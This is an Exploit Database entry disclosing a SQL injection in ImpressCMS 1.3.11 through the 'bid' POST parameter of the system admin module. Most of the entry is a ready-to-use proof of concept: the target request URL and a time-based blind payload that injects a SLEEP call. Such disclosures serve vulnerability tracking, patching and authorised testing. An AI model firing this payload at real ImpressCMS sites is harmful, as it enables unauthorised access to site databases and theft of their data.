EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

ImpressCMS 1.3.11 - 'bid' SQL Injection

EDB-ID:
46239

CVE:
N/A

EDB Verified: ×

Author:
MEHMET ONDER

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-01-24

Vulnerable App:

```
# Title: ImpressCMS 1.3.11 - 'bid' SQL Injection
# Date: 21.01.2019
# Exploit Author: Mehmet Onder Key
# Vendor Homepage: http://www.impresscms.org/
# Software Link:
https://sourceforge.net/projects/impresscms/files/v1.3.11/impresscms_1.3.11.z
# Version: v1.3.11
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
ImpressCMS is a community developed Content Management System. With this
tool maintaining the content of a website becomes as easy as writing a word
document. ImpressCMS is the ideal tool for a wide range of users: from
business to community users, from large enterprises to people who want a
simple, easy to use blogging tool.

# Vulnerabilities:
# An attacker can access all data following an un/authorized user login
using the parameter.


# POC - SQLi :

# Parameter: bid (POST)
# Request URL: http://localhost/impress/modules/system/admin.php?bid=12

#    Type : time-based blind
bid=12') AND SLEEP(5) AND ('Bjhx'='Bjhx&fct=blocksadmin&op=up&rtn=Lw==
```

Tags: SQL Injection (SQLi) **Advisory/Source:** Link

Databases

Links

Sites

Solutions

EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES

©

OffSec Services Limited 2026. All rights reserved.